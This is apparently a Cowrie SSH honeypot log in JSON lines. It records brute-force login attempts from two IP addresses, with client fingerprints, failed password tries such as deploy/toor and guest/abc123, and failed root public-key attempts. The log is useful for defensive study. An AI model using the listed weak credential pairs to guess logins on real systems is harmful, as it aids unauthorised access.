{"eventid":"cowrie.session.closed","duration":"5.3","message":"Connection lost after 5.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:26:05.437105Z","src_ip":"91.92.42.227","session":"193ff4cca4c6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":45102,"dst_ip":"10.17.0.5","dst_port":22,"session":"8a9eef8fa3cd","protocol":"ssh","message":"New connection: 91.92.42.227:45102 (10.17.0.5:22) [session: 8a9eef8fa3cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:26:06.909105Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:26:07.499645Z","src_ip":"91.92.42.227","session":"8a9eef8fa3cd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:26:07.503298Z","src_ip":"91.92.42.227","session":"8a9eef8fa3cd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"toor","message":"login attempt [deploy/toor] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:26:10.795944Z","src_ip":"91.92.42.227","session":"8a9eef8fa3cd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.7","message":"Connection lost after 5.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:26:12.579178Z","src_ip":"91.92.42.227","session":"8a9eef8fa3cd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":45158,"dst_ip":"10.17.0.5","dst_port":22,"session":"461cd858fde3","protocol":"ssh","message":"New connection: 91.92.42.227:45158 (10.17.0.5:22) [session: 461cd858fde3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:26:13.410177Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:26:14.054802Z","src_ip":"91.92.42.227","session":"461cd858fde3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:26:14.058301Z","src_ip":"91.92.42.227","session":"461cd858fde3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"guest","password":"abc123","message":"login attempt [guest/abc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:26:17.856705Z","src_ip":"91.92.42.227","session":"461cd858fde3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":43538,"dst_ip":"10.17.0.5","dst_port":22,"session":"50dc7f4e4524","protocol":"ssh","message":"New connection: 91.92.42.227:43538 (10.17.0.5:22) [session: 50dc7f4e4524]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:26:19.642484Z"}
{"eventid":"cowrie.session.closed","duration":"6.4","message":"Connection lost after 6.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:26:19.810658Z","src_ip":"91.92.42.227","session":"461cd858fde3","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:26:20.435388Z","src_ip":"91.92.42.227","session":"50dc7f4e4524","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:26:20.438290Z","src_ip":"91.92.42.227","session":"50dc7f4e4524","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dmdba","password":"dmdba","message":"login attempt [dmdba/dmdba] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:26:25.344557Z","src_ip":"91.92.42.227","session":"50dc7f4e4524","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.172.88.206","src_port":47600,"dst_ip":"10.17.0.5","dst_port":22,"session":"577ecb1618fa","protocol":"ssh","message":"New connection: 107.172.88.206:47600 (10.17.0.5:22) [session: 577ecb1618fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:26:25.378252Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:26:25.382273Z","src_ip":"107.172.88.206","session":"577ecb1618fa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:26:25.419486Z","src_ip":"107.172.88.206","session":"577ecb1618fa","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"40:90:29:2e:80:76:cb:dd:4a:df:9d:04:f0:d2:f7:6e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA0KQbImBr6S4toiFT5fkkL8Ycf5vLk6yBmoBl0H8oeTOnv3P1pE/AsWW6WAOXh/MLWx29qFY1zrfC9DBf9Yj5wtiB4/Zd6TjxTVCQrfWlcx6a5/kvyNXGajn6d6X4CZUgG4nYzFRoHXeFV9wOpsPS6K6oizGJIHN+WPkMDd4Nk+sJ0SgXnocH8ggtLVneAL+1yOkU0Mzsxf8gamgKnipb64cho9w3apYS50CQdoEiLUcZqDMGtOs2PN4AI4jsiu3tbH3t19uOkEZJBKjRtYqMm7Els1Uz9Gy1MlMpQh957BOKkRJ12GedNNS9D/Lms3LgCVCoeas1S4gRQDU1h5Y1QQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 40:90:29:2e:80:76:cb:dd:4a:df:9d:04:f0:d2:f7:6e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:26:25.514508Z","src_ip":"107.172.88.206","session":"577ecb1618fa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"40:90:29:2e:80:76:cb:dd:4a:df:9d:04:f0:d2:f7:6e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA0KQbImBr6S4toiFT5fkkL8Ycf5vLk6yBmoBl0H8oeTOnv3P1pE/AsWW6WAOXh/MLWx29qFY1zrfC9DBf9Yj5wtiB4/Zd6TjxTVCQrfWlcx6a5/kvyNXGajn6d6X4CZUgG4nYzFRoHXeFV9wOpsPS6K6oizGJIHN+WPkMDd4Nk+sJ0SgXnocH8ggtLVneAL+1yOkU0Mzsxf8gamgKnipb64cho9w3apYS50CQdoEiLUcZqDMGtOs2PN4AI4jsiu3tbH3t19uOkEZJBKjRtYqMm7Els1Uz9Gy1MlMpQh957BOKkRJ12GedNNS9D/Lms3LgCVCoeas1S4gRQDU1h5Y1QQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:26:25.561156Z","src_ip":"107.172.88.206","session":"577ecb1618fa","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"4b:5d:51:cb:07:51:06:45:cf:5e:7b:51:57:fa:b6:30","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDVP8rKAZm+Ufe4E5exjON++d7Corvm+C6AgEKiQXLm7/HsdbAyzoJd5UOIJStp0R1SP6H/ZwMeUmbhJOnlwR/JLCkGhBzGxOcj5aK2vyApMzRNgpblRIXE7IoRZUBP8E++7r0yFBhVKYrWje6i1ZUDn/GOYaigKRg5vRKPaEFSqVxYxhtJv93jMCbXvluxsFlNAx6tX8gJ6f+FGu6PAIi2/C3zYylWiaaBAthe2/JskkP4SNZn1EpHaGO7BVBE2Sj2zO0P+8CLAg9AXzmo0r5D+z+qs4CVziNHE0/tuR1D8SV83nMHXvFyo1LCv5m2/ZPXBL08RZpkQ8z7k7D/NDaf","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 4b:5d:51:cb:07:51:06:45:cf:5e:7b:51:57:fa:b6:30","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:26:25.606071Z","src_ip":"107.172.88.206","session":"577ecb1618fa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"4b:5d:51:cb:07:51:06:45:cf:5e:7b:51:57:fa:b6:30","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDVP8rKAZm+Ufe4E5exjON++d7Corvm+C6AgEKiQXLm7/HsdbAyzoJd5UOIJStp0R1SP6H/ZwMeUmbhJOnlwR/JLCkGhBzGxOcj5aK2vyApMzRNgpblRIXE7IoRZUBP8E++7r0yFBhVKYrWje6i1ZUDn/GOYaigKRg5vRKPaEFSqVxYxhtJv93jMCbXvluxsFlNAx6tX8gJ6f+FGu6PAIi2/C3zYylWiaaBAthe2/JskkP4SNZn1EpHaGO7BVBE2Sj2zO0P+8CLAg9AXzmo0r5D+z+qs4CVziNHE0/tuR1D8SV83nMHXvFyo1LCv5m2/ZPXBL08RZpkQ8z7k7D/NDaf","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:26:25.609130Z","src_ip":"107.172.88.206","session":"577ecb1618fa","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f3:2c:b7:35:d6:a6:6e:9e:19:8e:9f:78:3e:0b:3b:25","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDJWg2zcll4u6Ya6XP1PbExdvChZMIrvDKUEHc/2eo7NgXm6ZdzowUimghPcpbqqRHjiuw5gwjAslRUgWcyi4zv9gVpU+O3LdzM1sl+JGNbvAyq63ZcvMUuA0zXntjh7+A5dFP+gonm/Xkquxg6y/3oa/MnZWkPJv7VLVpgLBsh/Rb7fWeS3YueHfetRkm2wrvjkmS61I2RyRmzshaWgAgEk5ESThy8UtYzVSbm8AIDTcdvgMoucyFbLYBT5Ca+6ihviFSki+ZJ6IRGxS25q2vHCjv+FmrMhiWNJbvKWhzyroMq3sjIiXNuFzOpOpRy7fS8w7HXlnBL5vsyupDxrz4NJqIQ/74tXbbhpaFYmopCzohq6bY3qwhHZxO4K8vJnfEx+zVVr//4mr+I3sHhOsf+okWMqiwcuRXqICCYCnb4exfaHgzfvfjOkj68ZZph8yruwPe0UzQU+tFxQbgcAb633i1nbVTg6831b1j3UfEujIwILWjyhhUaMDzidHYXdFOdds3aZrH7Faz8rQ/6qu///iYrNl4mHpAodbjB0LCT7ns0I0z/vPQcZdmL9kEea6Hg+Blcuni6e6sqyGgPxXPYMIUcnFdqbdGzcIRw3QmHzS2F5cYdJSgdIfS+q2ga8J9QsqMRUO/CQUsgLmhPJ0kOkVP0/63Tkd1ZoFWbpq+bjw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f3:2c:b7:35:d6:a6:6e:9e:19:8e:9f:78:3e:0b:3b:25","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:26:25.642230Z","src_ip":"107.172.88.206","session":"577ecb1618fa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f3:2c:b7:35:d6:a6:6e:9e:19:8e:9f:78:3e:0b:3b:25","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDJWg2zcll4u6Ya6XP1PbExdvChZMIrvDKUEHc/2eo7NgXm6ZdzowUimghPcpbqqRHjiuw5gwjAslRUgWcyi4zv9gVpU+O3LdzM1sl+JGNbvAyq63ZcvMUuA0zXntjh7+A5dFP+gonm/Xkquxg6y/3oa/MnZWkPJv7VLVpgLBsh/Rb7fWeS3YueHfetRkm2wrvjkmS61I2RyRmzshaWgAgEk5ESThy8UtYzVSbm8AIDTcdvgMoucyFbLYBT5Ca+6ihviFSki+ZJ6IRGxS25q2vHCjv+FmrMhiWNJbvKWhzyroMq3sjIiXNuFzOpOpRy7fS8w7HXlnBL5vsyupDxrz4NJqIQ/74tXbbhpaFYmopCzohq6bY3qwhHZxO4K8vJnfEx+zVVr//4mr+I3sHhOsf+okWMqiwcuRXqICCYCnb4exfaHgzfvfjOkj68ZZph8yruwPe0UzQU+tFxQbgcAb633i1nbVTg6831b1j3UfEujIwILWjyhhUaMDzidHYXdFOdds3aZrH7Faz8rQ/6qu///iYrNl4mHpAodbjB0LCT7ns0I0z/vPQcZdmL9kEea6Hg+Blcuni6e6sqyGgPxXPYMIUcnFdqbdGzcIRw3QmHzS2F5cYdJSgdIfS+q2ga8J9QsqMRUO/CQUsgLmhPJ0kOkVP0/63Tkd1ZoFWbpq+bjw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:26:25.645320Z","src_ip":"107.172.88.206","session":"577ecb1618fa","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e9:86:45:59:bc:f7:b8:ed:38:af:6e:6e:04:a2:8e:f7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCxYss4WQwjREkvJHXd7YG3D0g412V24itc+5MIqC0o41m7fy76HOCcDdNuuaIUIChgWzuUirv+6ykX6k0BXKODTE5HemkivGIZMMBzZKO2ED1EEBPYXAju2vGHL1x4WvIPVwCqs/FGVp8vnIF4stObBaCbNRpTJ9xoezdiuXgITH7ltrydC/rOAlVEJZJXq+ypgISelwI5woGNLqZ0HVmK+SUVtKBQ4hW1cN5+ebVl4rzpAKzYqGsCYWTs+b+x/9R4VM2NVQPSkle2oqUG1PBadGgw58lBwVvv5vpKUA3qAg0FQGQiTPQa/gFvXp49ad4dObGzqtHYV/o1QC+1MRen","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint e9:86:45:59:bc:f7:b8:ed:38:af:6e:6e:04:a2:8e:f7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:26:25.665582Z","src_ip":"107.172.88.206","session":"577ecb1618fa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e9:86:45:59:bc:f7:b8:ed:38:af:6e:6e:04:a2:8e:f7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCxYss4WQwjREkvJHXd7YG3D0g412V24itc+5MIqC0o41m7fy76HOCcDdNuuaIUIChgWzuUirv+6ykX6k0BXKODTE5HemkivGIZMMBzZKO2ED1EEBPYXAju2vGHL1x4WvIPVwCqs/FGVp8vnIF4stObBaCbNRpTJ9xoezdiuXgITH7ltrydC/rOAlVEJZJXq+ypgISelwI5woGNLqZ0HVmK+SUVtKBQ4hW1cN5+ebVl4rzpAKzYqGsCYWTs+b+x/9R4VM2NVQPSkle2oqUG1PBadGgw58lBwVvv5vpKUA3qAg0FQGQiTPQa/gFvXp49ad4dObGzqtHYV/o1QC+1MRen","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:26:25.668545Z","src_ip":"107.172.88.206","session":"577ecb1618fa","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b1:83:9c:94:03:bf:67:e4:f4:31:d0:7e:ef:84:2d:5c","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIIOnej0BlrKGS8YJSskq3HW7xzyVFDz3Zpa9GrZZGSDj","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint b1:83:9c:94:03:bf:67:e4:f4:31:d0:7e:ef:84:2d:5c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:26:25.692720Z","src_ip":"107.172.88.206","session":"577ecb1618fa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b1:83:9c:94:03:bf:67:e4:f4:31:d0:7e:ef:84:2d:5c","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIIOnej0BlrKGS8YJSskq3HW7xzyVFDz3Zpa9GrZZGSDj","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:26:25.697484Z","src_ip":"107.172.88.206","session":"577ecb1618fa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:26:25.724756Z","src_ip":"107.172.88.206","session":"577ecb1618fa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":58240,"dst_ip":"10.17.0.5","dst_port":22,"session":"1074daf808b7","protocol":"ssh","message":"New connection: 91.92.42.227:58240 (10.17.0.5:22) [session: 1074daf808b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:26:26.267932Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:26:27.223364Z","src_ip":"91.92.42.227","session":"1074daf808b7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:26:27.226534Z","src_ip":"91.92.42.227","session":"1074daf808b7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.7","message":"Connection lost after 7.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:26:27.385403Z","src_ip":"91.92.42.227","session":"50dc7f4e4524","protocol":"ssh"}
